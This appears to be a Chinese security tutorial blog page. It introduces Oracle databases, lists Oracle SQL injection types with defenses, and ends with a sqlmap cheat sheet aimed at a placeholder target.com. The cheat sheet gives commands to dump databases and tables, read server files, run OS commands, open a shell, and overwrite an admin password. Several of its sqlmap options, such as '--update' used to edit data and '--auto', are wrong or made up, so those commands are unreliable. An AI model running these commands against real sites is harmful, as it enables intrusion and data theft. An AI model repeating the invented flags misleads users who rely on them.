当前位置: 首页 > news >正文

SQL注入之oracle注入+SQLbypass+sqlmap实战

 学习路还很长,切莫轻言放弃!

目录

Oracle数据库介绍

Oracle数据库和MySQL数据库的差别

Oracle数据库注入

SQLbypass姿势

sqlmap工具实战(kali自带)


Oracle数据库介绍

Oracle数据库是全球最知名的关系型数据库管理系统(RDBMS)之一,由美国甲骨文公司(Oracle Corporation)开发并维护。作为企业级数据管理解决方案的市场领导者,Oracle数据库在可靠性、安全性、可伸缩性和性能方面具有卓越表现,被广泛应用于各类关键业务场景,包括金融、电信、政府和大型企业的各种复杂应用。

**核心特性:**
1. **关系模型**:基于关系理论设计,通过表格结构组织数据,并支持SQL(Structured Query Language)以实现对数据的高效查询、更新和管理。

2. **高可用性与容错性**:Oracle数据库提供了一系列高级功能来保证服务的连续性和数据的完整性,如实时备份与恢复、故障切换、分布式事务处理等。

3. **可伸缩性**:能够支持从单机到大规模集群环境的部署,可通过分区、网格计算、读写分离等多种方式灵活扩展系统性能和存储容量。

4. **安全性**:内置了丰富的安全措施,包括但不限于用户权限管理、角色分配、审计、透明数据加密(TDE)、虚拟私有数据库(VPD)等,确保数据在存储和传输过程中的安全性。

5. **高性能**:Oracle数据库优化器可以生成高效的执行计划,结合索引、内存缓存、并行查询等功能提升查询速度。

6. **跨平台兼容**:可在多种操作系统平台上运行,包括Linux、Windows、Unix、IBM主机等,并且支持云计算和容器化部署。

7. **PL/SQL支持**:Oracle数据库引入了PL/SQL编程语言,允许开发者编写存储过程、触发器、函数等复杂的数据库内部程序,增强系统的灵活性和可编程能力。

8. **分布式数据库管理**:Oracle数据库还支持分布式数据库环境,使得多个物理数据库能够像一个逻辑数据库那样协同工作,便于进行数据分布和集中式管理。

9. **企业级特性**:提供了Oracle RAC(Real Application Clusters)、Data Guard、GoldenGate等组件,用于实现集群、数据同步和容灾解决方案。

总之,Oracle数据库是一个功能强大、高度成熟的数据管理平台,旨在满足企业和组织在不同发展阶段对数据存储、分析和处理的需求。随着技术发展,Oracle数据库也不断推出新的版本和技术特性,以适应大数据、云计算和AI时代的挑战。
 

Oracle数据库和MySQL数据库的差别

Oracle数据库与MySQL数据库之间的主要差别包括以下几个方面:

  1. 规模和应用场景

    • Oracle:通常被认为是大型企业级数据库,适合处理海量数据和高并发访问场景,广泛应用于金融、电信、政府等需要极高稳定性和可靠性的领域。
    • MySQL:起源于开源社区,主要用于中小型应用,随着版本的迭代和InnoDB存储引擎的优化,MySQL也能够支持大型网站和复杂应用,尤其在Web服务、云计算和移动应用等领域广泛应用。
  2. 开放源代码与成本

    • Oracle:虽然提供了商业版的闭源数据库产品,但也有一些免费或低成本版本(如Express Edition),但总体上其许可费用较高,且维护和支持成本相对较大。
    • MySQL:由甲骨文公司拥有,但仍保持开源特性,可以免费下载和使用,对于预算有限或注重成本控制的企业具有吸引力。
  3. 事务处理能力

    • Oracle:全面支持ACID事务,并且从很早开始就提供了强大的事务管理和恢复机制,适用于对数据一致性要求极高的场景。
    • MySQL:默认配置下,MyISAM存储引擎不支持事务,但InnoDB存储引擎完全支持事务处理,而且在最新版本中,MySQL的事务处理能力得到了显著提升。
  4. 功能与性能

    • Oracle:提供了丰富的高级功能,例如分区、表空间、高级索引、并行查询等,同时通过内存管理、资源调度等技术实现高性能计算。
    • MySQL:虽然早期版本的功能相对简单,但随着发展,MySQL也增加了很多企业级功能。在某些特定场景下,MySQL可能提供更好的性能表现,尤其是在读密集型应用中。
  5. 安全性与权限管理

    • Oracle:具备高度精细的权限管理体系和安全性设置,如角色分配、审计规则等,适合安全敏感环境。
    • MySQL:同样具有用户权限管理机制,但在早期版本中可能不如Oracle成熟和精细,不过近年来也在不断完善。
  6. 安装与维护

    • Oracle:安装配置较为复杂,系统资源占用较多,维护管理通常需要专业技能。
    • MySQL:安装简便,占用资源较少,易于管理和维护,特别适合快速部署和开发测试环境。
  7. 平台支持

    • Oracle:跨平台支持广泛,能够在多种操作系统上运行。
    • MySQL:同样支持多平台,尤其在Linux环境下表现出色,由于开源性质,有广泛的社区支持和兼容性。
  8. 备份与恢复

    • Oracle:提供了逻辑和物理备份方法,以及完善的灾难恢复解决方案。
    • MySQL:也支持各种备份策略,但在早期版本中可能需要更多手动操作或借助第三方工具进行更复杂的备份与恢复任务。

Oracle数据库注入

Oracle数据库注入是一种针对Oracle数据库系统的SQL注入攻击,它发生在Web应用程序未能有效验证或过滤用户输入的情况下。当恶意用户向应用提交精心构造的输入时,这些输入可能包含可执行的SQL代码片段,从而改变了原本预定执行的SQL查询逻辑。

以下是一些Oracle数据库注入的表现形式和防范方法:

**表现形式:**
1. **布尔型注入**:通过构造条件判断语句来确定是否存在某个特定记录,例如`username = 'admin' OR 1=1`。
2. **基于时间的盲注**:利用Oracle内置的延时函数(如`DBMS_LOCK.SLEEP()`)来判断条件是否满足,根据响应时间变化推断数据。
3. **堆叠注入**:在PL/SQL环境中,通过堆叠注入可以执行额外的操作,如调用存储过程、触发器等。
4. **联合注入**:通过 UNION 操作将多个SELECT语句合并以从不同表中获取信息。

**防范措施:**
1. **参数化查询**:使用预编译的PreparedStatement,确保用户输入不会被解释为SQL命令的一部分,而是作为参数传递给查询。
2. **输入验证与过滤**:对所有用户提供的数据进行严格的校验和清理,去除非法字符、特殊符号以及SQL关键字。
3. **最小权限原则**:限制数据库连接账户仅拥有完成任务所需的最低权限,避免直接使用具有大量权限的超级管理员账号。
4. **安全编码实践**:不要在代码中拼接SQL字符串,始终假定所有用户输入都是不可信的,并采用安全编程框架和ORM工具。
5. **使用Oracle的内置安全特性**:
   - 启用数据库审计功能跟踪潜在的SQL注入攻击。
   - 使用Oracle的ROWNUM、绑定变量、WITH语句等特性降低注入风险。
   - 对于复杂的应用场景,可以通过PL/SQL包和程序单元来封装并严格控制对数据库的访问。

6. **保持数据库软件及时更新**:安装最新的安全补丁和修复程序,减少已知漏洞的风险。

总之,预防Oracle数据库注入的关键在于加强应用程序的安全设计,充分认识到所有外部输入都有可能是恶意的,并采取相应的防御措施。同时,定期进行安全审查和渗透测试也是必不可少的。

SQLbypass姿势

参考文章:

生命在于学习——SQL注入绕过-CSDN博客

sqlmap工具实战(kali自带)

基本参数使用:

-u 指定URL

-dbs 检测数据库名

--current-db 查看当前数据库

-D 指定数据库

--tables 列出表名

-T 指定表名

--columns 列名探查

--dump 数据导出

--dump all 脱库

--batch 自动模式

--threads 调整线程数

--os-shell 获得操作系统shell

实例演示:

检测是否存在注入漏洞(GET请求)

sqlmap -u "http://target.com/vuln.php?id=1"

注入点指定:

sqlmap -u "http://target.com/vuln.php?a=xw&id=1" -p id

测试POST数据注入:

sqlmap -u "http://target.com/login.php" --data="username=admin&password=123456"

指定数据库类型

sqlmap -u "http://target.com/vulnerable.php?id=1" --dbms=mysql

自动探测并利用注入点

sqlmap -u "http://target.com/vulnerable.php?id=1" --auto

枚举数据库信息

sqlmap -u "http://target.com/vulnerable.php?id=1" --dbs

获取MySQL数据库中的表名

sqlmap -u "http://target.com/vulnerable.php?id=1" -D mysql --tables

从USERS表中提取列名

sqlmap -u "http://target.com/vulnerable.php?id=1" -D MySQL -T users --columns

获取USERS表中数据

sqlmap -u "http://target.com/vulnerable.php?id=1" -D MySQL -T users --dump

更新数据库内容

sqlmap -u "http://target.com/vulnerable.php?id=1" -D mysql --update="users' SET password='new_password' WHERE username='admin'"

下载文件

sqlmap -u "http://target.com/vulnerable.php?id=1" --file-read=/path/to/file

操作系统命令执行: (同样,这仅适用于演示目的或授权安全审计,在未经授权的情况下是非法的)

sqlmap -u "http://target.com/vulnerable.php?id=1" --os-cmd="id"

相关文章:

SQL注入之oracle注入+SQLbypass+sqlmap实战

学习路还很长,切莫轻言放弃! 目录 Oracle数据库介绍 Oracle数据库和MySQL数据库的差别 Oracle数据库注入 SQLbypass姿势 sqlmap工具实战(kali自带) Oracle数据库介绍 Oracle数据库是全球最知名的关系型数据库管理系统(RDBMS&#xff09…...

【GPTs分享】GPTs分享之Write For Me

Write For Me 是一个专门定制的GPT版本,旨在为用户提供高质量的文本内容创作服务。它适用于各种写作需求,从商业计划、学术文章到创意故事等。下面是从简介、主要功能、使用案例、优点和局限性几个方面对Write For Me 的详细介绍。 简介 Write For Me …...

css4浮动+清除浮动

浮动 一.常见网页布局1.三种布局方式2.布局准则 二.浮动(float)1.好处2.概念3.三大特性4.使用5.常见网页布局模板6.注意点 三.清除浮动1.why2.本质3.语法4.四种way(后三个都是给父级添加)清除浮动总结 一.常见网页布局 1.三种布局…...

外包干了3个月,技术倒退明显...

先说情况,大专毕业,18年通过校招进入湖南某软件公司,干了接近6年的功能测试,今年年初,感觉自己不能够在这样下去了,长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了四年的功能测试&#xf…...

STM32控制数码管从0显示到99

首先 先画电路图吧!打开proteus,导入相关器件,绘制电路图。如下:(记得要保存啊!发现模拟一遍程序就自动退出了,有bug,我是解决不了,所以就是要及时保存,自己重…...

【机器学习算法】KNN鸢尾花种类预测案例和特征预处理。全md文档笔记(已分享,附代码)

本系列文章md笔记(已分享)主要讨论机器学习算法相关知识。机器学习算法文章笔记以算法、案例为驱动的学习,伴随浅显易懂的数学知识,让大家掌握机器学习常见算法原理,应用Scikit-learn实现机器学习算法的应用&#xff0…...

Windows 自带的 Linux 子系统(WSL)安装与使用

WSL官网安装教程: https://learn.microsoft.com/zh-cn/windows/wsl/install Windows 自带的Linux子系统,比用VM什么的香太多了。可以自己看官方教程,也可以以下步骤完成。 如果中间遇到我没遇到的问题百度,可以在评论区评论&#…...

C语言--贪吃蛇

目录 1. 实现目标2. 需掌握的技术3. Win32 API介绍控制台程序控制台屏幕上的坐标COORDGetStdHandleGetConsoleCursorinfoCONSOLE_CURSOR_INFOSetConsoleCursorInfoSetConsoleCursorPositionGetAsyncKeyState 4. 贪吃蛇游戏设计与分析地图<locale.h>本地化类项setlocale函…...

原型设计工具Axure RP

Axure RP是一款专业的快速原型设计工具。Axure&#xff08;发音&#xff1a;Ack-sure&#xff09;&#xff0c;代表美国Axure公司&#xff1b;RP则是Rapid Prototyping&#xff08;快速原型&#xff09;的缩写。 下载链接&#xff1a;https://www.axure.com/ 下载 可以免费试用…...

HeadFirst读书笔记

一、设计模式入门 1、使用模式最好的方式“把模式装进脑子里&#xff0c;然后在你的设计和已有的应用中&#xff0c;寻找何处可以使用它们”。以往是代码复用&#xff0c;现在是经验复用。 2、软件开发的一个不变的真理就是变化。 二、设计原则 1、找出应用中可能需要变化之…...

【C++】---内存管理new和delete详解

一、C/C内存分布 C/C内存被分为6个区域&#xff1a; &#xff08;1&#xff09; 内核空间&#xff1a;存放内核代码和环境变量。 &#xff08;2&#xff09;栈区&#xff1a;向下增长&#xff08;存放非静态局部变量&#xff0c;函数参数&#xff0c;返回值等等&#xff09; …...

go-zero微服务入门教程

go-zero微服务入门教程 本教程主要模拟实现用户注册和用户信息查询两个接口。 准备工作 安装基础环境 安装etcd&#xff0c; mysql&#xff0c;redis&#xff0c;建议采用docker安装。 MySQL安装好之后&#xff0c;新建数据库dsms_admin&#xff0c;并新建表sys_user&#…...

蓝桥杯刷题--python-12

3768. 字符串删减 - AcWing题库 nint(input()) sinput() res0 i0 while(i<n): if s[i]x: ji1 while(j<n and s[j]x): j1 resmax(j-i-2,0) ij else: i1 print(res) 3777. 砖块 - AcWing题库 # https://www.a…...

LeetCode LCR 085.括号生成

正整数 n 代表生成括号的对数&#xff0c;请设计一个函数&#xff0c;用于能够生成所有可能的并且 有效的 括号组合。 示例 1&#xff1a; 输入&#xff1a;n 3 输出&#xff1a;[“((()))”,“(()())”,“(())()”,“()(())”,“()()()”] 示例 2&#xff1a; 输入&#x…...

抖音视频评论数据提取软件|抖音数据抓取工具

一、开发背景&#xff1a; 在业务需求中&#xff0c;我们经常需要下载抖音视频。然而&#xff0c;在网上找到的视频通常只能通过逐个复制链接的方式进行抓取和下载&#xff0c;这种操作非常耗时。我们希望能够通过关键词自动批量抓取并选择性地下载抖音视频。因此&#xff0c;为…...

【web】云导航项目部署及环境搭建(复杂)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、项目介绍1.1项目环境架构LNMP1.2项目代码说明 二、项目环境搭建2.1 Nginx安装2.2 php安装2.3 nginx配置和php配置2.3.1 修改nginx文件2.3.2 修改vim /etc/p…...

软件测试人员必会的linux命令

文件和目录操作: ● ls:列出目录中的文件和子目录。 ● cd:改变当前工作目录。 ● mkdir:创建新目录。 ● rm:删除文件或目录。 ● cp:复制文件或目录。 ● mv:移动或重命名文件或目录。 文本查看和编辑: ● cat:查看文件内容。 ● more或less:分页查看文件内…...

Mac使用K6工具压测WebSocket

commend空格 打开终端&#xff0c;安装k6 brew install k6验证是否安装成功 k6 version设置日志级别为debug export K6_LOG_LEVELdebug执行脚本&#xff08;进入脚本所在文件夹下&#xff09; k6 run --vus 100 --duration 10m --out csvresult.csv script.js 脚本解释&…...

小程序--vscode配置

要在vscode里开发微信小程序&#xff0c;需要安装以下两个插件&#xff1a; 安装后&#xff0c;即可使用vscode开发微信小程序。 注&#xff1a;若要实现鼠标悬浮提示&#xff0c;则需新建jsconfig.json文件&#xff0c;并进行配置&#xff0c;即可实现。 jsconfig.json内容如…...

linux僵尸进程

僵尸进程&#xff08;Zombie Process&#xff09;是指在一个进程终止时&#xff0c;其父进程尚未调用wait()或waitpid()函数来获取该进程的终止状态信息&#xff0c;导致进程的资源&#xff08;如进程表中的记录&#xff09;仍然保留在系统中的一种状态。 当一个进程结束时&am…...

Python爬虫实战:研究MechanicalSoup库相关技术

一、MechanicalSoup 库概述 1.1 库简介 MechanicalSoup 是一个 Python 库,专为自动化交互网站而设计。它结合了 requests 的 HTTP 请求能力和 BeautifulSoup 的 HTML 解析能力,提供了直观的 API,让我们可以像人类用户一样浏览网页、填写表单和提交请求。 1.2 主要功能特点…...

Docker 离线安装指南

参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性&#xff0c;不同版本的Docker对内核版本有不同要求。例如&#xff0c;Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本&#xff0c;Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...

C++_核心编程_多态案例二-制作饮品

#include <iostream> #include <string> using namespace std;/*制作饮品的大致流程为&#xff1a;煮水 - 冲泡 - 倒入杯中 - 加入辅料 利用多态技术实现本案例&#xff0c;提供抽象制作饮品基类&#xff0c;提供子类制作咖啡和茶叶*//*基类*/ class AbstractDr…...

DeepSeek 赋能智慧能源:微电网优化调度的智能革新路径

目录 一、智慧能源微电网优化调度概述1.1 智慧能源微电网概念1.2 优化调度的重要性1.3 目前面临的挑战 二、DeepSeek 技术探秘2.1 DeepSeek 技术原理2.2 DeepSeek 独特优势2.3 DeepSeek 在 AI 领域地位 三、DeepSeek 在微电网优化调度中的应用剖析3.1 数据处理与分析3.2 预测与…...

SCAU期末笔记 - 数据分析与数据挖掘题库解析

这门怎么题库答案不全啊日 来简单学一下子来 一、选择题&#xff08;可多选&#xff09; 将原始数据进行集成、变换、维度规约、数值规约是在以下哪个步骤的任务?(C) A. 频繁模式挖掘 B.分类和预测 C.数据预处理 D.数据流挖掘 A. 频繁模式挖掘&#xff1a;专注于发现数据中…...

大数据零基础学习day1之环境准备和大数据初步理解

学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 &#xff08;1&#xff09;设置网关 打开VMware虚拟机&#xff0c;点击编辑…...

定时器任务——若依源码分析

分析util包下面的工具类schedule utils&#xff1a; ScheduleUtils 是若依中用于与 Quartz 框架交互的工具类&#xff0c;封装了定时任务的 创建、更新、暂停、删除等核心逻辑。 createScheduleJob createScheduleJob 用于将任务注册到 Quartz&#xff0c;先构建任务的 JobD…...

质量体系的重要

质量体系是为确保产品、服务或过程质量满足规定要求&#xff0c;由相互关联的要素构成的有机整体。其核心内容可归纳为以下五个方面&#xff1a; &#x1f3db;️ 一、组织架构与职责 质量体系明确组织内各部门、岗位的职责与权限&#xff0c;形成层级清晰的管理网络&#xf…...

《通信之道——从微积分到 5G》读书总结

第1章 绪 论 1.1 这是一本什么样的书 通信技术&#xff0c;说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号&#xff08;调制&#xff09; 把信息从信号中抽取出来&am…...

OkHttp 中实现断点续传 demo

在 OkHttp 中实现断点续传主要通过以下步骤完成&#xff0c;核心是利用 HTTP 协议的 Range 请求头指定下载范围&#xff1a; 实现原理 Range 请求头&#xff1a;向服务器请求文件的特定字节范围&#xff08;如 Range: bytes1024-&#xff09; 本地文件记录&#xff1a;保存已…...